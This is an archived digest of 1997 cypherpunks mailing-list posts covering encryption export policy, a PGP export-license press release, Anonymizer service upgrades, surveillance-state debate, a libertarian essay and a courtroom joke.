~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Thu, 29 May 1997 21:15:34 +0800
To: cypherpunks@cyberpass.net
Subject: pathology
Message-ID: <19970529125158.8021.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



This was taken from the Alameda County District Attorney's Office
publication "The Point of View":

In a murder trial, the defense attorney was cross examining a pathologist.
Here's what happened:

ATTORNEY:  Before you signed the death certificate, had you taken the pulse?
CORONER:   No.
ATTORNEY:  Did you listen to the heart?
CORONER:   No.
ATTORNEY:  Did you check for breathing?
CORONER:   No.
ATTORNEY:  So, when you signed the death certificate, you weren't sure the
           man was dead, were you?
CORONER:   Well, let me put it this way.  The man's brain was sitting in a
           jar on my desk.  But I guess it's possible he could be out there
           practicing law somewhere.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 29 May 1997 19:48:25 +0800
To: cypherpunks@toad.com
Subject: [CRYPTO] Zero-knowledge commit
Message-ID: <199705291123.NAA10881@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy `C' May proves that the Midwestern gene pool needs some chlorine in it.

            <<<<
           o(0-0)o
        -ooO-(_) Ooo-- Timmy `C' May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shabbir Safdar <shabbir@democracy.net>
Date: Fri, 30 May 1997 02:59:33 +0800
To: cypherpunks@toad.com
Subject: EVENT: Online town hall meeting with Rep. Bob Goodlatte (June 3, 8:30pm
Message-ID: <199705291836.OAA18069@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


=========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
                         Government Without Walls
_________________________________________________________________________
Update No.8              http://www.democracy.net/            May 29 1997
_________________________________________________________________________
Table of Contents

 - Join Encryption Warrior Rep. Bob Goodlatte (R-VA)
 - Background on Rep. Bob Goodlatte (R-VA)
 - How to participate in the Online Town Hall Meeting
 - Upcoming Events
 - About democracy.net

___________________________________________________________________________
JOIN REP. BOB GOODLATTE (R-VA) LIVE ONLINE TUESDAY JUNE 3, 8:30 PM ET

Who is Congressman Bob Goodlatte?  Depending on your point of view, the
Republican Congressman from Virginia is either a steadfast champion of
online privacy, or a supporter of censorship in cyberspace.

This year, Rep. Goodlatte has been leading a successful charge to
overturn the Clinton administration's encryption control policies.
Goodlatte is the principal author of H.R. 695, "The Security and Freedom
through Encryption (SAFE) Act." -- a bill designed to promote privacy
and security on the Internet by encouraging the widespread availability
of encryption technology.  Goodlatte's efforts to protect privacy and
prohibit the government from imposing "key-escrow" and
"key-recovery" domestically have won him praise from Internet users.

The SAFE bill was recently approved by the House Judiciary Committee
(the first time an encryption reform bill has ever cleared a major
Congressional committee), and is now headed to the House International
Relations Committee where a tougher fight is expected.

But in 1995, Rep. Goodlatte was a leading supporter of the
Communications Decency Act (CDA) -- a law which for the first time
imposed broad content regulations on the Internet.  The CDA is currently
being reviewed by the Supreme Court and a decision is expected before
the end of June.

Join Congressman Goodlatte for a live, Virtual Town Hall meeting and
find out what makes him tick.

You can submit questions in advance by visiting
http://www.democracy.net. The discussion will be moderated by Todd
Lappin, Section Editor at Wired Magazine.

____________________________________________________________________________
BACKGROUND ON REP. BOB GOODLATTE (R-VA)

[This information is taken verbatim from Rep. Goodlatte's World Wide Web
 page at http://www.house.gov/goodlatte/]

Bob Goodlatte, age 44, was elected to serve as the Sixth District's
Congressman in November of 1992. He was re-elected to his second term
without opposition in 1994.

He is a graduate of Washington and Lee University School of Law, and
his undergraduate degree in Government was earned at Bates College in
Lewiston, Maine.

Before being elected to Congress, Bob served as former Congressman
Caldwell Butler's District Office Manager from 1977 to 1979, where he
was responsible for helping folks across the Sixth District. In 1979,
he founded his own private law practice in Roanoke. He is a former
partner in the law firm of Bird, Kinder and Huffman, working there from
1981 until taking office.

Bob has long been active in his community, serving as President of the
Civitan Club of Roanoke, and he's been active with the Parent Teachers
Association at his children's public school and with the United Way of
the Roanoke Valley.

Bob serves on the Judiciary Committee and the Agriculture Committee.
His subcommittee assignments on Judiciary are: the Constitution
Subcommittee and the Courts & Intellectual Property Subcommittee. His
subcommittee assignments on Agriculture are: the Livestock Subcommittee
and the Department Operations and Nutrition Program Subcommittee where
he serves as the Chairman.

After Republicans won the majority, Whip Tom DeLay (R-Texas) selected
Bob to serve as an Assistant Whip.

Bob and Maryellen, his wife of 22 years, live in Roanoke with their two
children, Jenny and Bobby.

____________________________________________________________________________
INSTRUCTIONS ON HOW TO PARTICIPATE

     * Interactive Town Hall Meeting with Rep. Bob Goodlatte (R-VA) *

 DATE:      Tuesday June 3, 1997
 TIME:      8:30 pm Eastern (5:30 pm Pacific)
 LOCATION:  http://www.democracy.net

In advance of the town hall meeting, please visit http://www.democracy.net
and fill out the form to ask Rep. Goodlatte a question.  We will collect
the questions and forward them to the moderator on the day of the event, and
will make every effort to ensure that questions from constituents are asked
first.

1. Attend and ask Rep. Goodlatte a question!

   Please mark this date in your calendar: Tuesday June 3, 8:30PM Eastern
   at http://democracy.net/

2. Get your friends and co-workers to join the discussion

   Members of Congress love to hear from their constituents. If you have
   friends that live in the district, please forward this invitation and
   encourage them to attend.

_____________________________________________________________________________
UPCOMING EVENTS

Visit http://www.democracy.net for upcoming event information.

_______________________________________________________________________________
ABOUT DEMOCRACY.NET

The democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net hosts live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of WebActive,
Public Access Networks, the Democracy Network, and DIGEX Internet.  More
information about the project and its sponsors can be found at
http://www.democracy.net/about/

To receive democracy.net announcements automatically, please visit our
signup form at http://www.democracy.net/ or send mail to
majordomo@democracy.net with "subscribe events" in the body of the message.

_____________________________________________________________________________
End update no.8                                                    05/29/1997
=============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 30 May 1997 03:17:40 +0800
To: cypherpunks@toad.com
Subject: e$: Altered States. Transfer payment addiction, Le Infame, andPhil Dick's definition of reality.
Message-ID: <v03020976afb37587dcd9@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga <rah@shipwright.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Thu, 29 May 1997 11:57:32 -0400
From: Robert Hettinga <rah@shipwright.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  e$: Altered States. Transfer payment addiction, Le Infame, and
Phil Dick's definition of reality.

At 1:23 pm -0400 on 5/28/97, Bill Frantz wrote in cypherpunks:

> I object to the state, providing addictive substances/experiences when
> private enterprise could do the job.  If they are against addiction, then
> they should set a good example.

For myself, I deplore the state's all-too-successful efforts to "provide"
that ultimate addictive substance, the transfer payment.

>From the oxymoron of "Social" "Security", to direct subsidies on everything
from electricity to sugar to helium, from deliberately mispriced federal
assets like lumber, water and mining rights, to indirect subsidies like the
tax-deductibility of mortgage interest and health "insurance", we use our
government to bleed money, initiative, and, ultimately, freedom from the
people who produce wealth and material well-being and give almost all of it
to people who do nothing but consume and obstruct. We've all become a
nation of innumerate dole-junkies, unaware of the economic consequences of
our actions because the state has hidden them behind a veil of
pseudoeconomics and political cynicism.

The heyday of Roman dole was nothing compared to the "compassion" we
increasingly have for ourselves.

So, like a lot of people, I hope and work for the day when that giant
mosquito on the Petomaine :-) river -- and its larvae in places like
Jefferson City -- starts sucking air instead of the economic and moral
lifeblood of people who actually work for a living. Then, maybe, this
nation of lotus eaters will wake up to the fact that we've no one to rely
upon but ourselves.

Science fiction author Phillip K. Dick said, "Reality is that which doesn't
go away when you change your mind." I would ammend it to say that reality
is that which is still there when transfer payments stop.


Voltaire used to end all his correspondence with "Death to Le Infame". "Le
Infame" translates as "the infamous thing". He was talking about the church
then, but nowadays it seems that *all* of us take communion at Our Lady of
the Federal Transfer Payment.

The end of opressive religeous control of society was the advent of
science, the enlightment, and the triumph of reason that resulted from
them. The founding of this country was part of that revolution.
Unfortunately, unreason shed its priestly vestments and immediately
counterattacked in the form of Rousseau, Robespierre and the French
revolution. Since then, through the mechanations of Rousseau's intellectual
decendants like Karl Marx, and lately, the people that Harold Bloom calls
the "School of Resentment", nation states have justified more and more
oppression in the interest of unobtainable mirages like "equality" and
"security", and in perverting words like "fairness" and "justice" to mean
envy and arbitrary confiscation.

The very touchstone of reason in political thought, this country's
constitution, is now standing on the bottom of a vast lake of irrational
statist excrement, with its nose barely above the waterline.

Sometimes, I think that, when we can breathe no longer, and we try to
return to the shore of reason, we'll forget the swimming lessons the
founding fathers and the philosophes of the enlightenment taught us. That
we'll drown in our own sloth, envy, resentment, and, more important, lack
of faith in ourselves.

However, most of the time, I'm much more optimistic. I believe that the
increasing ubiquity of all information, and, more important, the means for
each person to competitively process that information himself to get
independently replicable results, will create a world where people and
their computing technology become the equivalent of scientists, testing and
verifying facts about the world themselves, rather than having reality
served to them on a lotus leaf.


The operative word in that Proustian sentence was "competitively". That
means markets for everything which can be put into ones and zeroes and sent
on a network, which in turn means instant settlement and clearing of those
transactions, and, most important, a myriad of autonomous economic entities
operating in efficient, competitive, auction markets for that information.

Fortunately, we have the technology, in the form of things like the blind
signature algorithm, public key cryptography, Moore's law and geodesic
networks, to make this happen. I believe that we actually have no economic
choice, and so it will happen. It's as if we have found the dole-receptors
in our economic neurochemistry, and soon our transfer payment addiction
will be a thing of the past.

"Reality is that which doesn't go away when you change your mind."

Kicking an addiction is by definition a mind-altering experience. :-).


Polemically,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lcottrell@infonex.com (Lance Cottrell)
Date: Fri, 30 May 1997 06:31:53 +0800
To: cypherpunks@cyberpass.net
Subject: Anonymizer upgrades
Message-ID: <199705292215.PAA11815@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.security, alt.privacy,alt.anonymous,alt.privacy.anon-server)

I am pleased to announce two significant improvements to The Anonymizer
(www.Anonymizer.com).

First, we have fixed the HTTP_X_FORWARDED_FOR and HTTP_VIA security holes.
This was a problem for people accessing The Anonymizer though a web proxy.

Second, we have introduced accounts on the Anonymizer. The poor performance
of The Anonymizer (to put it lightly) has been due to our attempts to keep
it from completely swamping our T1. Paid accounts on The Anonymizer bypass
the slowdown mechanisms, and also provide access to anonymous news and
anonymous anonymous FTP.

Finally, while it has been true for some time, it is not widely known that
the Anonymizer is owned and operated by Infonex. We took over management of
the Anonymizer several months ago. For those not familiar with Infonex, we
have been active in the privacy business for some time. We host several
anonymous remailers, we offer anonymous shell accounts through our
subsidiary Cyberpass (www.cyberpass.net), and I personally developed the
Mixmaster anonymous remailer system.

       Lance Cottrell

-- 
Lance Cottrell        President, Infonex
lcottrell@infonex.com
http://www.infonex.com/~loki





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 30 May 1997 08:14:08 +0800
To: cypherpunks@toad.com
Subject: Re: There's something wrong when I'm a felon under an increasingnumber of
In-Reply-To: <199705291623.KAA00762@wombat.sk.sympatico.ca>
Message-ID: <v03102802afb3c74d17f4@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/enriched

For nothing is more destructive of respect for the government and the law of the land than passing laws which cannot be enforced. It is an open secret that the dangerous increase of crime in this country is closely connected with this."

-- Albert Einstein, "My First Impression of the U.S.A.", 1921


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

I know not what instruments others may use,
but as for me, give me Ecache or give me debt.

SHOW ME THE DIGITS!



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Fri, 30 May 1997 05:10:59 +0800
To: cypherpunks@cyberpass.net
Subject: Surveillance State Delayed
Message-ID: <3.0.2.32.19970529165544.0378ce64@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Fascinating article in last Saturday's New York Times about INS plans to 
revoke the U.S. citizenship of 5,000 people who got that citizenship sans 
criminal background checks so they could vote for Clinton in '96.

Now, the INS revokes a big 25 citizenships a year so they really have a job 
ahead of them.  Demonstrates the enforcement challenges of bureaucracies 
living in a mass society.  They think they can get away with administrative 
revocations but even those can be appealed to federal court.  5,000 appeals 
would be quite a burden.  If they wait too long and two years pass from time 
of granting, the Service will lose the administrative option and will have to 
do full court proceedings to revoke.

Even if they revoke, the "aliens" will still have their old proofs of 
citizenship (passports, etc) as well as their former status as permanent 
residents so revocation may be meaningless in any case.

That's not the cutest bit, though.

In addition to the 5,000 new Clinton voters with provable criminal records, 
they had to go through 180,000 records of people with various sorts of 
documentation problems to see if any of them were criminals.  But the Feds 
couldn't do it themselves.  They lacked the capability.  They hired one of
the 
big accounting firms (Peat-Marwick?) to CHECK THE NAMES against the NCIC.  
They got some 9,000 positive matches but naturally, they can't tell how many 
of those 9,000 matches are false positives.  Lots of work ahead.

The gloom and doom types like to claim that it is trivial for the almighty 
Feds to find out everything about every one, look inside the souls of all of 
us, separate the good from the evil and unerringly punish the evil.  
Omniscience, omnipresence, omnipotence. Oddly enough, this claim is often
made 
by people who, otherwise, don't believe in God.

But this article on citizenship revocation gives lie to this claim of state 
power.  Citizenship applicants have submitted vast quantities of information 
about themselves to the Feds.  They have undergone years of a staged and 
complex process to move from nonresident alien to resident alien to citizen.  
At every point, they NARCed themselves out in detail directly to the federal 
government.  And yet, that same government can't even tell if these people
are 
"criminals."

If they can't efficiently surveil and regulate this group, what chance do
they 
have to regulate and surveil the other 260 million of us?

DCF
 


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul H. Merrill" <phm@sprynet.com>
Date: Fri, 30 May 1997 05:30:47 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Surveillance State Delayed
In-Reply-To: <3.0.2.32.19970529165544.0378ce64@panix.com>
Message-ID: <338E1CFA.32D8@sprynet.com>
MIME-Version: 1.0
Content-Type: text/plain


Duncan Frissell wrote:
> 
<<snip>>
> But this article on citizenship revocation gives lie to this claim of state
> power.  Citizenship applicants have submitted vast quantities of information
> about themselves to the Feds.  They have undergone years of a staged and
> complex process to move from nonresident alien to resident alien to citizen.
> At every point, they NARCed themselves out in detail directly to the federal
> government.  And yet, that same government can't even tell if these people
> are
> "criminals."
> 
> If they can't efficiently surveil and regulate this group, what chance do
> they
> have to regulate and surveil the other 260 million of us?
> 
> DCF
The important thing to remember about police state tactics is that it is
not a case of hyper-efficient use of the police -- it is hyper-use of
those powers to harass and harrangue those that they Feel like doing it
to.  No need to worry about guilt or innocence or any of that, just pick
a target and get what you can, if it isn't enough - invent.

> 
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 5.0 beta
> Charset: noconv
> 
> iQCVAwUBM43tToVO4r4sgSPhAQHhcAP+O3Kn/rTtonspM+fWF7S/MeoV/zENTgll
> Di4GCB1oZTlvU9je6ucRxpXvezsjgibmurApR22j3J0rhgHAVOCT8+EjNLAi3yGh
> mwXXuCH/Z55nAXVit8mZvXSrJ8OPFWMn57Nma33uaD48QJ7AFqVxISi7+pSI91Mx
> LR0oZ1nJE/8=
> =oo4o
> -----END PGP SIGNATURE-----

-- 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Paul H. Merrill                Merlyn Enterprises
paulmerrill@acm.org
I have no opinions (just facts)
    so it doesn't matter what my employer thinks.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 30 May 1997 08:38:00 +0800
To: Duncan Frissell <frissell@panix.com>
Subject: Re: Surveillance State Delayed
In-Reply-To: <3.0.2.32.19970529165544.0378ce64@panix.com>
Message-ID: <199705300023.RAA15917@netcom11.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>The gloom and doom types like to claim that it is trivial for the almighty 
>Feds to find out everything about every one, look inside the souls of all of 
>us, separate the good from the evil and unerringly punish the evil.  
>Omniscience, omnipresence, omnipotence. Oddly enough, this claim is often
>made 
>by people who, otherwise, don't believe in God.
>

not sure if you are referring to TCM here as a "gloom and doom" type.
but it seems that we ought to be able to design a government that
does not rely on the supposed inherent incompetence of bureacrats
and or humans in general for security of the citizen. in other words,
your general argument that "see!! feds are really STUPID!! they 
wouldn't be SMART enough to infringe on your rights!!" is a pretty
lame argument overall.

>But this article on citizenship revocation gives lie to this claim of state 
>power.

state power in the US, as it stands currently. but what the past shows
is that government can change abruptly. it only matters who is in 
power. I think what people here are worried about are abrupt changes
in the government, which can happen quite fast 
with e.g. new laws that are legislated. there are plenty of cases
where the entire government has changed radically *without* even
law changes. the manipulation of the ITAR and e.g. the recent
changing in policy relative to the amount of money that is reported
to FinCEN by banks are good examples. the government can change its
mind on a dime. 

  Citizenship applicants have submitted vast quantities of information 
>about themselves to the Feds.  They have undergone years of a staged and 
>complex process to move from nonresident alien to resident alien to citizen.  
>At every point, they NARCed themselves out in detail directly to the federal 
>government.  And yet, that same government can't even tell if these people
>are 
>"criminals."
>
>If they can't efficiently surveil and regulate this group, what chance do
>they 
>have to regulate and surveil the other 260 million of us?

a totalitarian state is quite possible, although difficult to conceive
of. it's a problem that some people
are interested in solving. what is most difficult is an "invisible
tyranny" in which the inhabitants are not even aware of their
imprisonment, and perhaps even defend such a situation.
 a system that we live in right now, imho. (but to elaborate on 
this would rely on conspiracy theories)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Fri, 30 May 1997 03:25:59 +0800
To: cypherpunks@algebra.com
Subject: Re: US grants export license for PGP
Message-ID: <19970529174833.14957.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


> Joey Grasty writes:
> > At 08:00 PM 5/28/97 -0700, Lucky Green wrote:
>
> > >PGP crypto approved for export
> >
> > Alright, what's the catch?  What kind of GAK does PGP have to
> > stick in to get this approval?  Encyphering minds want to know...
>
> The catch is that the license only extends to business use by
> subsidiaries of certain large US corporations.
>
> See PGPInc's press release at: http://www.pgp.com/newsroom/prel34.cgi

Well that sure got buried by the "Truth Above All Else (tm)" press. Not
surprising however.

>
> It may be moot since some versions of PGP are available around the
> world, but this strikes me as patently unfair to all those companies
> not big enough to be on The List.
>
> On the other hand, maybe this is the beginning of the end.  It seems
> to me that it will be difficult now to deny a similar license to
> Netscape or Microsoft or...

We have so many laws in this country, doesn't one of them prevent
"discrimination" based on dollar value of corporation? ;)

How about extortion... "You must be a large company paying buttloads in
taxes and making sizeable contributions to the administration to receive
license to use PGP overseas..."

Can't we use this against them and force the license to be extended to
everyone?

>
> -- Jeff (currently employed by a Real Company :-)
>

-- Mr. E (not employed by a Sellout^H^H^H^H^H^H^HReal Company)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TSadoff197@aol.com
Date: Fri, 30 May 1997 06:20:18 +0800
To: cypherpunks@toad.com
Subject: Mailing list
Message-ID: <970529175227_487288649@emout03.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Please send





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 30 May 1997 07:35:49 +0800
To: cypherpunks@toad.com
Subject: Crypto Disputes
Message-ID: <1.5.4.32.19970529230949.00937498@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


For full versions of the stories below:

   http://jya.com/kinkey.txt

----------

     For two years, the IETF Security Group has labored to
     hammer out the IP Security (IPSec) protocol, a standard way
     that businesses can open up an encrypted link to a trading
     partner's network. The link is encrypted after authentication
     by means of an X.509 digital certificate at an IPSec-based
     firewall or gateway. 

     But an unresolved, bitter dispute over the technique for
     automatically swapping keys over the 'Net - referred to as
     key management - has resulted in two incompatible schemes
     in the IPSec specification.

     In this battle of the acronyms, the debate centers on the
     Simple Key Management for IP (SKIP), developed by Sun
     Microsystems, Inc., and the Internet Secure Association Key
     Management Protocol (ISAKMP), developed by the National
     Security Agency. 

----------

     Responding to Sun's announcement that it would license
     128-bit encryption algorithms from Elvis+Co., a Russian
     company, the White House announced that it would look into 
     Sun's actions. 

     "Sun's strategy is another brick from a wall that is coming
     down," said Jim Bidzos, president and CEO of RSA Data
     Security. "And it highlights that something is wrong with the 
     U.S. policy." 

     Sun has approximately a 10 percent equity stake in Elvis+,
     whose product is based on Sun's publicly available protocol,
     Simple Key Management for IP (SKIP). The 10 percent
     interest is thought to be key to keeping other companies from
     licensing and reselling the same technology. 

     The government's resolve, however, may be breaking down.
     Just last week, Sybase Inc. won approval to export database
     and server products with 56-bit DES encryption, even though
     the Emeryville, Calif., company has no model for key
     recovery. 

----------

     SKIP, which stands for Simple Key management for Internet
     Protocols, was submitted by Sun to the Internet Engineering
     Task Force as an Internet standard. Included in SKIP E+ are
     algorithms for 56-bit DES, two- and three-key triple DES,
     and 64- and 128-bit ciphers for encrypting network traffic
     and keys. 

     The security software was developed by Elvis+, a company
     of former Soviet space scientists with offices near Moscow.
     Sun bought a 10 percent interest in the company in 1993, but
     does not take an active role, said Steven Hunziker, chief
     operating officer of Russia Communications Research Inc.,
     Los Gatos, Calif. RCR represents Elvis+'s products in the
     U.S. 

     "RCR is really small - me and an accountant and two
     lawyers - and they watch the law like hawks," Hunziker said.
     "Elvis+ has kept a very careful distance from Sun, and those
     guys don't need anything from Sun to create the technology
     they're creating. The FBI and the CIA are just lazy, which is
     why they object." 

     "We've developed key recovery technology and gotten
     government approval, so we can export without having to
     resort to what they did," said Ken Mendelson, corporate
     counsel for Trusted Information Systems Inc., Glenwood,
     Md. 

----------

     VeriFone today announced that its Secure Electronic Transaction 
     (SET) -based product suite has received export approval from the 
     US Department of Commerce, marking the first announcement
     of a SET-based, end-to-end Internet commerce solution
     containing full strength encryption technology to be approved
     for international export. 

     VeriFone's vGATE, vPOS and vWALLET software employ
     the SET encryption protocol for transactions over the
     Internet, utilizing 1024 bit key size for public key encryption
     and digital signatures, and 64 bit DES for bulk encryption.
     This approval enables VeriFone to offer a higher level of
     end-to-end encryption than was previously available from
     U.S. corporations to international customers without special
     permission from the U.S. government. 

----------

     IBM last week took the first steps to help software vendors 
     comply with federal encryption export rules, with the 
     release into beta of a new security tool kit. 

----------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Fri, 30 May 1997 08:49:47 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705300033.UAA14527@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Press Release

      Pretty Good Privacy Receives Government Approval to Export
      Strong Encryption

      SAN MATEO, Calif., May 28, 1997 -- Pretty Good Privacy, Inc.
      (www.pgp.com), the world leader in digital privacy and security
      software, today announced that the U.S. Department of Commerce
      has approved the export of Pretty Good Privacy's encryption
      software to the overseas offices of the largest companies in the
      United States. This makes Pretty Good Privacy the only U.S.
      company currently authorized to export strong encryption
      technology not requiring key recovery to foreign subsidiaries
      and branches of the largest American companies. 

      Click here to view the list of approved companies.

      The approval allows Pretty Good Privacy to export strong,
      128-bit encryption without a requirement that the exported
      products contain key recovery features or other back doors that
      enable government access to keys. More than one-half of the
      Fortune 100 already use PGP domestically to secure their
      corporate data and communications. 

      "Now we are able to export strong encryption technology to the
      overseas offices of more than 100 of the largest companies in
      America, without compromising the integrity of the product or
      the strength of the encryption," said Phil Dunkelberger,
      President of Pretty Good Privacy, Inc. "We worked closely with
      the State Department when they controlled the export of
      encryption, and are now working with the Commerce Department.
      And we have never had a license application denied." 

      The license allows export of strong encryption technology,
      without government access to keys, to the overseas subsidiaries
      and branch offices of more than 100 of the largest American
      companies, provided that the offices are not located in
      embargoed countries, namely Cuba, Iran, Iraq, Libya, North
      Korea, Sudan or Syria. 

      "As far as we know, Pretty Good Privacy, Inc. is now the only
      company that has U.S. government approval to sell strong
      encryption to the worldwide subsidiaries and branch offices of
      such a large number of U.S. corporations, without having to
      compromise on the strength of the encryption or add schemes
      designed to provide government access to keys," said Robert H.
      Kohn, vice president and general counsel of Pretty Good Privacy.
      "Pretty Good Privacy still opposes export controls on
      cryptographic software, but this license is a major step toward
      meeting the global security needs of American companies." 

      The U.S. government restricts the export of encryption using key
      lengths in excess of 40 bits. However, 40-bit cryptography is
      considered "weak," because it can be broken in just a few hours.
      Generally, the U.S. government will grant export licenses for up
      to 56-bit encryption if companies commit to develop methods for
      government access to keys. For anything over 56 bits, actual
      methods for government access must be in place. 

      Pretty Good Privacy's license permits the export of 128-bit or
      "strong" encryption, without any requirement of a key recovery
      mechanism that enables government access to the data. A message
      encrypted with 128-bit PGP software is
      309,485,009,821,341,068,724,781,056 times more difficult to
      break than a message encrypted using 40-bit technology. In fact,
      according to estimates published by the U.S. government, it
      would take an estimated 12 million times the age of the
      universe, on average, to break a single 128-bit message
      encrypted with PGP. 

      "Pretty Good Privacy, Inc. has been working diligently to ensure
      compliance with the export control laws. Clearly, the Commerce
      Department recognizes the needs of reputable American companies
      to protect their intellectual property and other sensitive
      business information using strong cryptography," said Roszel C.
      Thomsen II, partner at the law firm of Thomsen and Burke LLP. 

      "User demand for strong cryptography is growing worldwide," said
      Marc Rotenberg, director of Electronic Privacy Information
      Center, and a leading privacy-rights advocate. "This is just one
      more example of the need to remove obstacles to the export of
      the best products the U.S. can provide." 

      Companies that are approved for the export of Pretty Good
      Privacy's strong encryption should contact Pretty Good Privacy's
      sales office at 415.572.0430 or visit the company's web site at
      www.pgp.com. Companies that are not currently on the list of
      licenses obtained by Pretty Good Privacy, but would like to gain
      approval to use strong encryption in their branch offices and
      subsidiaries around the world, should also contact Pretty Good
      Privacy at 415.572.0430 for information about how to be included
      in future government-approved export licenses for PGP. 

About Pretty Good Privacy, Inc. 

      Pretty Good Privacy (www.pgp.com), founded in March 1996, is the
      leading provider of digital-privacy products for private
      communications and the secure storage of data for businesses and
      individuals. Pretty Good Privacy's original encryption software
      for email applications (PGP) was distributed as freeware in 1991
      by Phil Zimmermann, Chief Technical Officer and Founder of
      Pretty Good Privacy, and allowed individuals, for the first
      time, to send information without risk of interception. With
      millions of users, it has since become the world leader in email
      encryption and the de facto standard for Internet mail
      encryption. Over one half of the Fortune 100 companies use PGP.
      In order to provide only the strongest encryption software,
      Pretty Good Privacy publishes all of its encryption source code
      and algorithms for extensive peer review and public scrutiny.
      The company can be reached at 415.572.0430; http://www.pgp.com. 

      For more information, please contact Mike Nelson, Pretty Good
      Privacy's Director of Corporate Communications, at 415.524.6203.










